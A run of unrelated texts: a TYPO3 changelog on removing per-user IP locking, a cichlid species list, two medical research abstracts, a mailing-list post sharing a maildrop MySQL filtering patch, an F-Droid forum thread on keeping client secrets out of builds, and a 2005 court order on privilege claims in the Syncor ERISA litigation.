TYPO3 has installation-wide options to allow so-called “IP Locking” for Frontend User Sessions and Backend User Sessions (“lockIP”).
Since TYPO3 v10, this feature is disabled by default, as some ISPs allow for so-called Happy Eyeballs [https://en.wikipedia.org/wiki/Happy_Eyeballs] to switch between IPv4 and IPv6, where a fixed IP Address per user session cannot be guaranteed and is not proven as a useful measure for locking a session anymore.
TYPO3 Core however had another specific BE-user feature, if the IP locking features enabled for Backend users, it could be again disabled for a specific user. This was previously built as a workaround for users who did not have a specific IP address. This specific feature, disabling IP locking for a specific Backend user, has been removed as it lacks comprehensible use cases in the current internet world, especially nowadays where home office and constantly changing IP addresses are normal.
Impact
The additional checkbox when editing a backend user is removed, including its Database field be_users.disableIPlock and its TCA definition.
Accessing the field via a direct database request will result in a SQL error. Accessing the TCA information will trigger a PHP notice.
If the system-wide setting is activated for backend users, it will apply to any Backend user regardless of custom settings.
Affected Installations
TYPO3 installations which use the IP locking mechanism for Backend users (see $TYPO3_CONF_VARS[BE][lockIP] and $TYPO3_CONF_VARS[BE][lockIPv6]) but explicitly deactivate it for a specific backend user, which is highly unlikely.
The latter can be identified via a SQL query:
SELECT count(uid) AS amount FROM be_users WHERE deleted=0 AND disableIPlock=1.
Migration
It is possible that this option was set by accident from administrators. If not and some IP locking problems exist for certain backend users, it is recommended to either remove the IP locking of backend users completely via the Settings module (set system-wide options “lockIP” and “lockIPv6” to “0”) or add the functionality for your specific use case as custom extension, e.g. by hooking into the authentication process and using the \TYPO3\CMS\Core\Authentication\IpLocker API. | ESSENTIALAI-STEM |
Orthochromis
Orthochromis is a genus of relatively small haplochromine cichlids native to rivers and lakes in Eastern and Middle Africa. Most of its species are rheophilic.
As presently defined Orthochromis is polyphyletic. Some Orthochromis species were formerly included in Schwetzochromis.
Species
There are currently 14 recognized species in this genus:
* Orthochromis kalungwishiensis (Greenwood & Kullander, 1994)
* Orthochromis kasuluensis De Vos & Seegers, 1998
* Orthochromis luichensis De Vos & Seegers, 1998
* Orthochromis luongoensis (Greenwood & Kullander, 1994)
* Orthochromis machadoi (Poll, 1967) (Kunene Dwarf Happy)
* Orthochromis malagaraziensis (David, 1937)
* Orthochromis mazimeroensis De Vos & Seegers, 1998
* Orthochromis mosoensis De Vos & Seegers, 1998
* Orthochromis polyacanthus (Boulenger, 1899)
* Orthochromis rubrolabialis De Vos & Seegers, 1998
* Orthochromis rugufuensis De Vos & Seegers, 1998
* Orthochromis stormsi (Boulenger, 1902)
* Orthochromis torrenticola (Thys van den Audenaerde, 1963)
* Orthochromis uvinzae De Vos & Seegers, 1998 | WIKI |
Effectiveness of staff radiation protection devices for interventional cardiology procedures
Christelle Huet, Jérémie Dabin, Joanna Domienik-Andrzejewska, Alexandre Hebre, Edilaine Honorio da Silva, Pasquale Lombardo, Giulia Tamborino, Filip Vanhavere
Research outputpeer-review
Abstract
Purpose: To evaluate the effectiveness of currently available radioprotective (RP) devices in reducing the dose to interventional cardiology staff, especially to the eye lens and brain. Methods: The performances of five RP devices (masks, caps, patient drapes, staff lead and lead-free aprons and Zero-Gravity (ZG) suspended radiation protection system) were assessed by means of Monte Carlo (MC) simulations. A geometry representative of an interventional cardiology setup was modelled and several configurations, including beam projections and staff distance from the source, were investigated. In addition, measurements on phantoms were performed for masks and drapes. Results: An average dose reduction of 65% and 25% to the eyes and the brain respectively was obtained for the masks by MC simulations but a strong influence of the design was observed. The cap effectiveness for the brain ranges on average between 13% and 37%. Nevertheless, it was shown that only some upper parts of the brain were protected. There was no significant difference between the effectiveness of lead and lead-free aprons. Of all the devices, the ZG system offered the highest protection to the brain and eye lens and a protection level comparable to the apron for the organs normally covered. Conclusion: All investigated devices showed potential for dose reduction to specific organs. However, for masks, caps and drapes, it strongly depends on the design, exposure conditions and staff position. Therefore, for a clinical use, it is recommended to evaluate their effectiveness in the planned conditions of use.
Original languageEnglish
Article number102543
Number of pages13
JournalPhysica Medica
Volume107
DOIs
StatePublished - Mar 2023
ASJC Scopus subject areas
• General Physics and Astronomy
• Biophysics
• Radiology Nuclear Medicine and imaging
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Human blood and marrow side population stem cell and Stro-1 positive bone marrow stromal cell numbers decline with age, with an increase in quality of surviving stem cells: Correlation with cytokines
S. K. Brusnahan, T. R. McGuire, J. D. Jackson, J. T. Lane, K. L. Garvin, B. J. O'Kane, A. M. Berger, S. R. Tuljapurkar, M. A. Kessinger, J. G. Sharp
Research output: Contribution to journalArticle
35 Scopus citations
Abstract
Hematological deficiencies increase with aging leading to anemias, reduced hematopoietic stress responses and myelodysplasias. This study tested the hypothesis that side population hematopoietic stem cells (SP-HSC) would decrease with aging, correlating with IGF-1 and IL-6 levels and increases in bone marrow fat. Marrow was obtained from the femoral head and trochanteric region of the femur at surgery for total hip replacement (N= 100). Whole trabecular marrow samples were ground in a sterile mortar and pestle and cellularity and fat content determined. Marrow and blood mononuclear cells were stained with Hoechst dye and the SP-HSC profiles acquired. Marrow stromal cells (MSC) were enumerated flow cytometrically employing the Stro-1 antibody, and clonally in the colony forming unit fibroblast (CFU-F) assay. Plasma levels of IGF-1 (ng/ml) and IL-6 (pg/ml) were measured by ELISA. SP-HSC in blood and bone marrow decreased with age but the quality of the surviving stem cells increased. MSC decreased non-significantly. IGF-1 levels (mean = 30.7, SEM = 2) decreased and IL-6 levels (mean = 4.4, SEM = 1) increased with age as did marrow fat (mean = 1.2. mm. fat/g, SEM = 0.04). There were no significant correlations between cytokine levels or fat and SP-HSC numbers. Stem cells appear to be progressively lost with aging and only the highest quality stem cells survive.
Original languageEnglish (US)
Pages (from-to)718-722
Number of pages5
JournalMechanisms of Ageing and Development
Volume131
Issue number11-12
DOIs
StatePublished - Nov 2010
Keywords
• Aging
• IGF-1
• IL-6
• Marrow fat
• Stem cells
ASJC Scopus subject areas
• Aging
• Developmental Biology
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Hello (reposted to vchkpw list because it's very useful in the environment of
vpopmail);
I've patched maildrop to read filtering rules out of a MySQL database.
The patch is against maildrop-1.5.3 because that's the version that's in
Debian unstable currently. I think that it would be fairly easy to port to a
newer version; i brought this from 1.3.x to 1.5.3 fairly easily.
It assumes a vpopmail+qmail environment, but is applicable anywhere if the
offending code is removed. The mdmysql code is used to look up users.
It does a lot of things (which is probably unsuitable for a single patch, but
if I were to take the time to separate them out I might never get done):
*) Read the mysql database for mail filtering purposes. This replaces
.mailfilter files.
*) Deliver to vpopmail virtual users. (replaces vdelivermail)
*) Read the /var/qmail/users/cdb file to figure out aliased
domains. ([EMAIL PROTECTED] should have [EMAIL PROTECTED]'s filtering rules if b.com
is an
alias for a.com).
*) Create maildirs on delivery.
*) Deliver to multiple sources based on SQL. Change a user's maildir simply
by updating the database.
*) Deliver mail on our million+/day system :)
The goods (my changes are also released under GPLv2):
wget http://tacos.sus.mcgill.ca/~erik/maildrop-1.5.3-sql.patch
It needs the following to be untarred into the maildrop-1.5.3 directory:
wget http://tacos.sus.mcgill.ca/~erik/cdb.tar.gz
You need to re-run aclocal; automake; autoconf in maildrop-1.5.3/ and
maildrop-1.5.3/maildrop after patching.
A full tarball, already patched:
wget http://tacos.sus.mcgill.ca/~erik/maildrop-1.5.3-sql.tar.gz
After patching, maildrop-1.5.3/mailfilter.sql contains the schema that I've
used.
To compile:
./configure --enable-maildropmysql --enable-mysqlmailfilter
make
Feel free to e-mail me <[EMAIL PROTECTED]> with any questions, metapatches,
suggestions, optimizations, etc.
And now for how it works:
A rule is composed of several conditions and several actions. The conditions
are ANDed together; if they are all satisfied then the actions will happen in
order. At the moment, a condition can only be a regex-match. Many rules per
user can be specified, and will happen in decreasing order of 'priority'.
I think it's easiest to demonstrate with an example:
### first rule: deliver to Maildir. lowest priority = happens last
# a condition number of -1 means that the rule is always applied
insert into mailfilter (user, domain, condition, action, priority)
values ('erik', 'midmaine.com', -1, 0, 0);
# 'deliver' is like dotmailfilter's cc. You can also say 'forward'
# to mean | $SENDMAIL -f '$SENDER' $(value_column)
insert into actions (id, position, type, value)
values (0, 0, 'deliver', './Maildir/');
# a stop action is necessary to stop control from spilling to more rules
insert into actions (id, position, type, value)
values (0, 1, 'stop', NULL);
### second rule: deliver to a Quarantine folder on regex match
insert into mailfilter (user, domain, condition, action, priority)
values ('erik', 'midmaine.com', 1, 1, 5);
# two conditions with the same ID will be ANDed together
insert into conditions (id, position, negate, header, value)
values (1, 0, 'false', 'From', '[EMAIL PROTECTED]');
insert into conditions (id, position, negate, header, value)
values (1, 1, 'false', 'Subject', 'FREE MONEY');
insert into actions (id, position, type, value)
values (1, 0, 'deliver', './Maildir/.Quarantine/');
insert into actions (id, position, type, value)
values (1, 1, 'stop', NULL);
Additionally, the 'users' table requires a 'nas' column. This is mapped in
the 'nasgroups' table (as column 'name') to several 'nasid's. maildrop-sql
does "select directory from mailstores where nasid='$nasid'" to see where it
should deliver to. It will deliver to all such directories for the name in
the user's 'nas' column. We use this to do hot-backups; all mails are
delivered twice and if one of the NFS boxes were to die the mail is saved on
the second.
Hope it's useful (it has been for me!);
Erik
--
Erik Bourget
Mid-Maine Communications
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Secrets in metadata com.example.app.yaml file in the build process
My app (Flutter based) that I’m willing to publish in F-Droid uses secrets that are used at Runtime of the app
The secrets get generated at the build time (using secrets.json locally & environmental vars in Github Action) & used in runtime. So I need a way to pass these secrets as ENV variables or any other way at build time in F-Droid server
How do I pass these secrets at the build step?
APP Repo: GitHub - KRTirtho/spotube: A lightweight free Spotify 🎧 crossplatform-client 🖥📱 which handles playback manually, streams music using Youtube & no Spotify premium account is needed 😱
F-Droid Data: KR. Tirtho / Data · GitLab
You need to put them in the build metadata.
I’m very new at both f-droid & gitlab. Can you provide me with an example, please?
Something like metadata/org.tasks.yml · master · F-Droid / Data · GitLab?
What linsui meant actually: you can’t have secrets on F-Droid, everything needs to be in the open, in the source repo. Once there, they’re not secrets anymore… just “keys” or whatever you call them.
F-Droid does not sign up for any API keys. Even if provided by a third party, we include them in both, binary and sourcecode releases.
From Inclusion Policy | F-Droid - Free and Open Source Android App Repository
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ClientId or API Keys are fine to include as they’re intented to be seen by everyone. But my application also have to have ClientSecret too for its functionality & that is not something I can push to upstream. It can be a security risk for my users
Is there any way to store this kind of secret & pass it only in the build without letting know everyone?
If it’s in Client where does it come from? Not from “the client”? It’s not “generated by the app after install”?
Link to the app source code so we know what is this about pls
Sorry for the delay
Here’s the App Source Repo: GitHub - KRTirtho/spotube: A lightweight free Spotify 🎧 crossplatform-client 🖥📱 which handles playback manually, streams music using Youtube & no Spotify premium account is needed 😱
An you need a secret thing for what exactly? Who needs that, you the dev or the user using it? Eg. Can the user ask from Spotify for such a secret and insert it in your app in Settings?
Yeah my app has the ability to save user provided client id & secret but that’s only needed when the user is willing to login with his/her account
But by default my app would use some pre-generated client id & secret to provide an anonymous experience without needing an actual Spotify Account
As with any secret in an APK they can be extracted later, so no reason to hide something anyway.
This means that we might need to disable such “anonymous” access feature, imho.
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Sounds similar to what Aurora OSS / AuroraStore · GitLab does, maybe you can find some inspiration there?
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@Licaon_Kter I know it can be done. But its difficult. Not everyone can do that. At least, it is better than keeping it completely open to everyone because now everyone can see it
@KRTirtho
unzip and strings are not very difficult.
Otherwise you can run enjarify and jad if necessary.
If your service crumbles because someone has an API key, something is fundamentally broken with your service.
If you need to share accounts across multiple users, then look at the cookiejar made by Yalp that is currently used by Aurora as already mentioned above. | ESSENTIALAI-STEM |
In re SYNCOR ERISA LITIGATION.
No. CV-03-2446-RGKRCX.
United States District Court, C.D. California.
July 6, 2005.
T. David Copley, Keller Rohrback, Seattle, WA, Edward W. Chang, Schiffrin & Barroway, Radnor, PA, for plaintiffs.
Daniel S. Floyd, Benjamin L. Zazove, Michael M. Farhang, Gibson, Dunn & Crutcher, Gordon A. Greenberg, Chris C. Scheithauer, McDermott Will & Emery, Los Angeles, CA, for defendants.
PROCEEDINGS: (1) ORDER GRANTING PLAINTIFFS’ MOTION TO COMPEL ITEMS ON DEFENDANT SYNCOR INTERNATIONAL’S PRIVILEGE LOG; AND (2) ORDER DENYING PLAINTIFF’S MOTION TO COMPEL PRIVILEGE LOG FROM DEFENDANT MONTY FU
CHAPMAN, United States Magistrate Judge.
On May 24, 2005, plaintiffs filed a notice of motion and motion to compel defendant Syn-cor International to produce certain items withheld as privileged, a joint stipulation, and the supporting declaration of T. David Copley, with exhibits, and on June 8, 2005, the parties filed supplemental memoranda. On June 1, 2005, plaintiffs filed a notice of motion and motion to compel defendant Monty Fu to produce a privilege log and a joint stipulation and exhibits, and on June 8, 2005, plaintiffs filed a supplemental memorandum.
These motions were heard by Magistrate Judge Rosalyn M. Chapman on July 6, 2005. T. David Copley, attorney-at-law with the firm Keller Rohrback, and Edward W. Chang, attorney-at-law with the firm Schiffrin & Barroway, represented plaintiffs; Daniel S. Floyd, Benjamin L. Zazove and Michael M. Farhang, attorneys-at-law with the firm Gibson, Dunn & Crutcher, represented defendants Syncor International and Robert G. Funari; and Gordon A. Greenberg and Chris C. Scheithauer, attorneys-at-law with the firm McDermott Will & Emery, represented defendant Monty Fu. No parties were present.
BACKGROUND
I
The factual allegations of this class action and its procedural posture are, as follows:
Syncor International (“Syncor”) was a health care services company. [FN1] Syn-cor sponsored, administrated and was the fiduciary of the Syncor Employees’ Savings and Stock Ownership Plan (the “Plan”). The Plan is a 401(k) plan which permits participants to save for retirement and it is a plan under the Employee Retirement Income Security Act (“ERISA”). The Plan also includes an employee stock ownership plan (“ESOP”) which invests primarily in the common stock of the company.
FN1. Cardinal Health, Inc., acquired or merged with Syncor on January 1, 2003. Syncor’s Board of Directors (“Board”) had final decision-making authority regarding all aspects of plan administration. The Board members included: Monty Fu, Syn-cor’s co-founder and chairman of the Board; Robert Funari, Syncor’s chief executive officer, president, and Board member; George Oki; Benard Puckett; Ronald Williams; Steven Gerber; Arnold Spangler; and Gail Wilensky. The Board appointed a separate committee (“Plan committee”) to oversee the Plan’s operation and carry out certain delegated Plan administrative duties. [11] There were three separate parts of the Plan. First, the Plan permitted participants to contribute between one and 14 percent of their compensation to the Plan each pay period in a “Fund Deferral Account.” Participants could invest in any of nine available investment funds chosen by Syncor. Second, participants could invest up to an additional two percent of pre-tax contributions in the Syncor Stock Deferral Account. This account was used to purchase Syncor Common Stock. Third, Syncor established accounts in which Syncor made employer contributions in the form of Syncor stock. These contributions were made in the “Stock Investment Company Account.” [11] During the purported class period, Syn-cor stock constituted between 66 and 77 percent of the Plan’s assets. [11] On June 14, 2002, Syncor and Cardinal Health, Inc. (“Cardinal”) announced that Cardinal would acquire Syncor in a stock-for-stock merger valued at approximately $1.1 billion. Cardinal announced on November 6, 2002, that it had uncovered illegal payments made by Syncor in Taiwan and China. Upon disclosure of the payments, the price of Syncor stock plummeted. By November 8, 2002, the stock had hit a 52-week low, and devalued more than 50 percent in just two trading days. The plummeting share values created losses to the Plan, which was heavily weighted in Syn-cor stock. As a result of the allegations, Cardinal reduced the exchange rate of 0.52 shares of Cardinal stock for each Syncor share to 0.47. This reduced the consideration to be paid to Syncor shareholders by at least $63 million. [H] The plaintiffs in this case were employed at Syncor between July 26, 2000 and January 1, 2003 (the “class period”) and participated in the Plan.... [H] ... Two causes of action remain .... The first, against Syncor only, is for breach of fiduciary duty for failure to prudently and loyally manage Plan assets under ERISA sections 404(a)(1)(A) — (D) and 405, 29 U.S.C. §§ 1104(a)(1)(A) — (D) and 1105. The second, against both Syn-cor and the Director Defendants, [defendants Fu and Funari], is for failure to monitor the Plan committee members and provide them with accurate information under ERISA sections 404(a)(1)(A) — (D) and 405.[1I] The first cause of action involves Plaintiffs’ allegation that Syncor stock was an imprudent investment because throughout the class period Syncor was engaging in an illegal foreign bribery scheme in order to increase overseas sales of its radiopharmaceutical services. Plaintiffs contend that Defendants either knew or should have known that Syncor stock was not a prudent Plan investment. [H] Plaintiffs also allege that defendants had a conflict of interest because a significant percentage of their compensation was tied to Syncor stock. As such, defendants had an incentive to keep the Plan’s assets in the Syncor plan and to keep the Syncor Stock Fund investing in Syncor stock. This investment elevated the demand for Syncor stock in the market and retained a favorable impression of the stock with Wall Street analysts. [H] The second cause of action focuses on the duty of Syncor and the remaining Director Defendants to properly monitor their appointees, including their appointees to the Plan committee. This duty included a duty to provide complete information to the appointees and to monitor the performance of the appointees. Plaintiffs allege that Syncor and the Director Defendants (collectively “Defendants”) breached this duty by failing to warn their appointees of Syncor’s illegal overseas practices and by failing to ensure the appointees “appreciated the huge risk inherent in the significant investment by rank and file employees in an undiversified employer stock fund.” [H] Plaintiffs seek the following relief: 1) a declaration that the Defendants have breached their ERISA fiduciary duties to the participants; 2) a declaration that the Defendants are not entitled to the protections of ERISA section 404(c)(1)(B); 3) an order compelling Defendants to make good to the Plan all losses to the Plan resulting from Defendants’ alleged breaches of their fiduciary duties, including losses to the Plan resulting from imprudent investments; to restore to the Plan all profits the Defendants made through use of the Plan assets; and to restore all profits the Plan would have made if the Defendants had fulfilled their fiduciary obligations; 4) imposition of a ©constructive trust on any amounts by which the Defendants were unjustly enriched at the expense of the Plan; 5) an order enjoining Defendants from any further violations of their ERISA fiduciary obligations; 6) actual damages in the amount of any losses the Plan suffered to be allocated among the Plan participants’ individual accounts in proportion to the accounts’ losses; 7) an order that defendants allocate the Plan’s recoveries to the accounts of all Plan participants who had any portion of their account balances invested in the common stock of Syncor maintained by the Plan in proportion to the accounts’ losses; and 8) costs, attorney’s fees and other equitable relief.
In re Syncor ERISA Litigation, 227 F.R.D. 338, 339 — 41 (C.D.Cal.2005) (some citations, footnotes omitted).
Additionally, the evidence presented by the parties establishes that, as part of the merger discussions between Cardinal and Syncor, Cardinal began a due diligence review of Syncor’s operations on or about May 2002, and that review was performed primarily by Cardinal personnel, assisted by the law firm Wachtell, Lipton, Rosen & Katz. Declaration of Brendan A. Ford, H 2. During the course of Cardinal’s due diligence review, and no later than October 29, 2002, Cardinal discovered information suggesting Syncor may have been involved in improper payments as part of its international operations, hired the accounting firm Ernst & Young to assist outside counsel, and informed Syncor of their findings. Ford Deck, HIT 4-5; Declaration of Edwin Burgos, V 4. In response, on November 4, 2002, Syncor established a Special Committee of outside directors to investigate Cardinal’s information, authorized the law firm Skadden, Arps, Slate, Meagher & Flom LLP to conduct the investigation, and hired the accounting firm PriceWaterhouse-Coopers LLP to conduct a forensic accounting investigation. Burgos Deck, 114, T. David Copley Declaration, H 6, Exh. 5. Syncor’s Board of Directors delegated all its powers and authorities to the Special Committee, including the powers to:
make determinations regarding communications and disclosure between the Company and its counsel and third parties relating to the investigation, including U.S. and foreign government agencies, stockholders, the media, Cardinal and employees; authorize the waiver of attorney-client privilege in connection with any such communications; [and] negotiate and enter into any agreement with U.S. and foreign government agencies in connection with matters arising out of the investigation....
Copley Deck, 116, Exh. 5 at 4.
On November 4, 2002, the Special Committee determined it had six areas of focus, including:
(1) conducting the investigation ...; (2) the process with respect to U.S. governmental authorities, including the U.S. Department of Justice and the SEC; (3) the process with respect to any relevant foreign governmental authorities; (4) communication with key constituencies, including employees and stockholders; (5) any affect [sic] of the investigation and its findings on the Cardinal Health, Inc____ transaction; and (6) analysis of the review of these matters by the Company’s auditors in the course of their review of the Company.
Copley Decl., H 7, Exh. 6 at 1-2. Further, the Special Committee discussed:
the process for voluntarily approaching and cooperating fully with the U.S. Department of Justice and the SEC, and authorized Counsel to initiate contact with those agencies and to set up meetings to discuss the Company’s findings to date. In connection with such meetings, the Committee authorized Counsel to waive the attorney-client privilege to the extent, if necessary, to allow Counsel to communicate all relevant information to ... those agencies. Counsel advised the Committee of issues concerning whether such disclosure could be used as the basis of a claim that such privilege had been waived for other purposes.
Id.
On November 5, 2002, Syncor’s Board of Directors met and, among other things, was updated on:
their discussions with the Department of Justice (the “DOJ”) and the Staff of the Securities and Exchange Commission (the “SEC”). [Counsel] reported that the Company had been very proactive and responsive to the governmental authorities by seeking meetings with the DOJ and the SEC promptly upon receiving information regarding the potentially improper payments made by certain international subsidiaries of the Company and that the governmental authorities had been appreciative of the Company’s coming forward so promptly.
Copley Deck, If 8, Exh. 7 at 3. The Special Committee met telephonically on November 6, 2002, at which time it discussed the status of the investigation, and the agenda for the forthcoming meetings with the Department of Justice (“D.O.J.”) and the Securities and Exchange Commission (“S.E.C.”) and the fact that Syncor “would be providing the governmental officials with copies of the report ... prepared by Ernst & Young LLP, Cardinal’s auditors, regarding the Company’s activities in Taiwan and China.” Copley Deck, II9, Exh. 8 at 2.
On November 7, 2002, Cardinal and Syn-cor entered into agreements with the D.O.J. and the S.E.C. Ford Deck, 119; Declaration of Carl S. Rauh, II2; Copley Deck, II10, Exh. 9. Under these agreements, Cardinal provided copies of Ernst & Young’s draft and final reports to the D.O.J. and S.E.C., and Syncor provided the results of its internal investigation to the D.O.J. and the S.E.C. Ford Decl., U10; Burgos Decl., H 7; Copley Deck, f 10, Exh. 9.
On December 2, 2002, Syncor entered into an agreement with the Government (the D.O.J. and United States Attorney) in which the Government agrees not to “investigate or prosecute Syncor, or any successor, for the foreign payments or the accounting thereof disclosed by Syncor to the [Government]” provided Syncor fully performs certain conditions, including: (1) Syncor Taiwan, Inc., fully performs its obligations under a plea agreement (discussed below); (2) Syncor fully performs its obligations under the Cease and Desist Order entered into between it and the S.E.C.; (3) Syncor fully and truthfully cooperates with the Government “as set forth in paragraph 5 of this agreement”; and (4) Syncor fully implements certain remedial measures. Copley Deck, 1113, Exh. 12. Furthermore, the agreement provides that if Syncor “has knowingly and willfully failed to comply with any provision of this agreement, or ha[s] committed any crime during the pendency of this agreement,” the Government, at its “sole option,”
[may] be released from ... this agreement. ... Syncor understands that should any such breach of this agreement occur, the [Government] will have the right to use against Syncor before any grand jury, at any trial, hearing or for sentencing purposes, any statements made by their employees and agents, and any information, •materials, documents or objects provided by Syncor to the [Government] pursuant to this agreement without any limitation____
Id. at 4. Finally, the agreement provides that it:
is the complete and only agreement between the parties with respect to the subject matter hereof. No promises, agreements or conditions have been entered into other than those set forth in this letter and in the Plea Agreement of Syncor Taiwan, Inc. entered into on this date. This agreement supersedes prior understandings, if any, of the parties, whether written or oral. This agreement cannot be modified other than in a written memorandum signed by the parties or on the record.
Id. at 5.
On December 10, 2002, in the United States District Court for the Central District of California, Syncor Taiwan pleaded guilty to, and was convicted, of one count of violating the Foreign Corrupt Practices Act, 15 U.S.C. § 78dd-l, et seq., and, as a result, was fined $2 million. United States v. Syncor Taiwan, Inc., CR 02-1244; see also Copley Decl., ¶¶ 12-13, Exh. 11-12; Rauh Decl., 113.
II
Defendant Monty Fu is Syncor’s former Chairman of the Board. Jt. Stip. at 1:4-9, 8:25-26. On an unspecified date, plaintiffs served defendant Fu with requests for production of documents seeking 115 categories of documents. On February 18, 2005, defendant Fu raised various objections to those requests, including the objection that responding
is unreasonable and unduly burdensome because of the impact that responding could have in this matter and on parallel government civil and criminal investigations. [Specifically,] ... not deferring a response may undermine Fu’s Fifth Amendment privilege against self-inerimination, otherwise prejudice Fu in his ability to fully defend himself in a criminal or civil proceeding initiated by the government, or unreasonably require Fu to choose between waiving his Fifth Amendment rights or being saddled by an adverse inference in a civil proceeding[.]
Jt. Stip., Exh. 2:2-19. Additionally, defendant Fu noted that “Plaintiffs may continue to prosecute this case expeditiously by obtaining documents and information from the Company, which is the party to whom these requests should properly be directed[.]” Id.
DISCUSSION
III
The Federal Rules of Civil Procedure “shall be construed and administered to secure the just, speedy, and inexpensive determination of every action.” Fed.R.Civ.P. 1. “There probably is no provision in the federal rules that is more important than this mandate. It reflects the spirit in which the rules were conceived and written, and in which they should be, and by and large have been, interpreted____” Trevino v. Celanese Corp., 701 F.2d 397, 405 (5th Cir.1983) (citation omitted).
Rule 26(b)(1) permits discovery in civil actions of “any matter, not privileged, that is relevant to the claim or defense of any party____” Generally, the purpose of discovery is to remove surprise from trial preparation so the parties can obtain evidence necessary to evaluate and resolve their dispute. Oakes v. Halvorsen Marine Ltd., 179 F.R.D. 281, 283 (C.D.Cal.1998). The party who resists discovery has the burden to show discovery should not be allowed, and has the burden of clarifying, explaining, and supporting its objections. Blankenship v. Hearst Corp., 519 F.2d 418, 429 (9th Cir.1975).
Questions of evidentiary privilege arising in the course of the adjudication of federal rights, such as here, are governed by the principles of federal common law. United States v. Zolin, 491 U.S. 554, 562, 109 S.Ct. 2619, 2625, 105 L.Ed.2d 469 (1989); Fed.R.Evid. 501. Under the attorney-client privilege, “[e]onfidential disclosures by a client to an attorney made in order to obtain legal assistance are privileged.” Fisher v. United States, 425 U.S. 391, 403, 96 S.Ct. 1569, 1577, 48 L.Ed.2d 39 (1976); Clarke v. American Commerce Nat’l Bank, 974 F.2d 127, 129 (9th Cir.1992). The attorney-client privilege may be divided into eight essential elements: ‘“(1) Where legal advice of any kind is sought (2) from a professional legal adviser in his capacity as such, (3) the communications relating to that purpose, (4) made in confidence (5) by the client, (6) are at his instance permanently protected (7) from disclosure by himself or by the legal adviser, (8) unless the protection be waived.’ ” In re Grand Jury Investigation, 974 F.2d 1068, 1071 n. 2 (9th Cir.1992); United States v. Martin, 278 F.3d 988, 999 (9th Cir.2002). A corporation may claim the attorney-client privilege. Commodity Futures Trading Comm’n. v. Weintraub, 471 U.S. 343, 348, 105 S.Ct. 1986, 1990, 85 L.Ed.2d 372 (1985); Upjohn Co. v. United States, 449 U.S. 383, 390, 101 S.Ct. 677, 683, 66 L.Ed.2d 584 (1981).
Because the attorney-client privilege is in derogation of the search for truth, it is “narrowly and strictly construed.” United States v. Gray, 876 F.2d 1411, 1415 (9th Cir.1989), cert. denied, 495 U.S. 930, 110 S.Ct. 2168, 109 L.Ed.2d 497 (1990); see also Fisher, 425 U.S. at 403, 96 S.Ct. at 1569 (holding since attorney-client privilege “has the effect of withholding relevant information from the factfinder, it applies only where necessary to achieve its purpose”). “The burden is on the party asserting the privilege to establish all the elements of the privilege[,]” Martin, 278 F.3d at 999-1000; United States v. Blackman, 72 F.3d 1418, 1423 (9th Cir.1995), cert. denied, 519 U.S. 911, 117 S.Ct. 275, 136 L.Ed.2d 198 (1996), and an assertion of privilege without evidence to support it will not prevail. Hollins v. Powell, 773 F.2d 191, 196 (8th Cir.1985), cert. denied, 475 U.S. 1119, 106 S.Ct. 1635, 90 L.Ed.2d 181 (1986); see also Saxholm AS v. Dynal, Inc., 164 F.R.D. 331, 333 (E.D.N.Y.1996) (establishing applicability of attorney-client privilege “requires the submission of affidavits or other competent evidence to establish sufficient facts to prove the applicability of the privilege. Conclusory or ipse dixit assertions are not enough.” (citations omitted)).
Under the work product doctrine, material obtained and prepared by an attorney or the attorney’s agent in anticipation of litigation or preparation for trial may be immune from discovery. Fed.R.Civ.P. 26(b)(3); Hickman v. Taylor, 329 U.S. 495, 509-12, 67 S.Ct. 385, 392-94, 91 L.Ed. 451 (1947). One of the primary purposes of the work product doctrine is to prevent one party exploiting the other party’s efforts to prepare for litigation. Holmgren v. State Farm Mut. Auto. Ins. Co., 976 F.2d 573, 576 (9th Cir.1992); Admiral Ins. Co. v. United States Dist. Court, 881 F.2d 1486, 1494 (9th Cir. 1989). The work product doctrine establishes a qualified immunity, rather than a privilege, and the qualification of the immunity is to be determined upon a showing of necessity or good cause. Admiral Ins. Co., 881 F.2d at 1494; Doubleday v. Ruh, 149 F.R.D. 601, 605 n. 3 (E.D.Cal.1993). The party claiming work product immunity has the burden of proving the applicability of the doctrine. United States v. City of Torrance, 163 F.R.D. 590, 593 (C.D.Cal.1995).
Plaintiffs seek to compel defendant Syncor to produce four categories of documents, all of which were previously produced by Syncor to the D.O.J. or the S.E.C. (collectively “Government”) in connection with the investigation by those agencies of Syncor: (1) Cardinal’s due diligence reports (Privilege Log nos. 2, 107-33, 135-38, 153-68); (2) Syncor’s internal investigation (Privilege Log nos. 1, 5-106, 139); (3) in-house counsel memoranda (Privilege Log no. 3-4); and (4) legal analysis (Privilege Log no. 134). Copley Deck, U 2, Exh. 1. Defendant Syncor, however, contends these documents are protected from discovery by the attorney-client privilege and the work product doctrine.
As an initial matter, it is not at all clear that the documents plaintiffs seek ever were, or are now, protected by the attorney-client privilege or work product doctrine, and defendant Syncor has provided insufficient evidentiary support for its contention that they are protected. Hollins, 773 F.2d at 196; Saxholm AS, 164 F.R.D. at 333; City of Torrance, 163 F.R.D. at 593. Further, the first category of documents, those prepared by Cardinal during the due diligence required before its acquisition of Syncor, “cannot fall within the ambit of the attorney-client privilege!, which] ... protects only communications between a lawyer and client.” Dombrowski v. Bell Atlantic Corp., 128 F.Supp.2d 216, 219 (E.D.Pa.2000). Here, Cardinal’s initial review of Syncor’s operations was solely for the business purpose of a potential merger. Moreover, the joint defense privilege propounded by defendant Syncor presupposes the existence of an otherwise valid underlying privilege, such as the attorney-client privilege, which has not been shown to be present. United States v. Henke, 222 F.3d 633, 637 (9th Cir.2000) (per curiam); Cavallaro v. United States, 284 F.3d 236, 250 (1st Cir.2002); In re Grand Jury Subpoenas, 902 F.2d 244, 249 (4th Cir. 1990). Further, neither the attorney-client privilege nor the work product doctrine applies to the second category of documents, those prepared during the internal investigation of Syncor, since those documents were created with the intent to disclose them to the Government, if necessary, to benefit Syn-cor in any governmental investigation; thus, they were never privileged. United States v. Bergonzi, 216 F.R.D. 487, 494 n. 8 (N.D.Cal.2003).
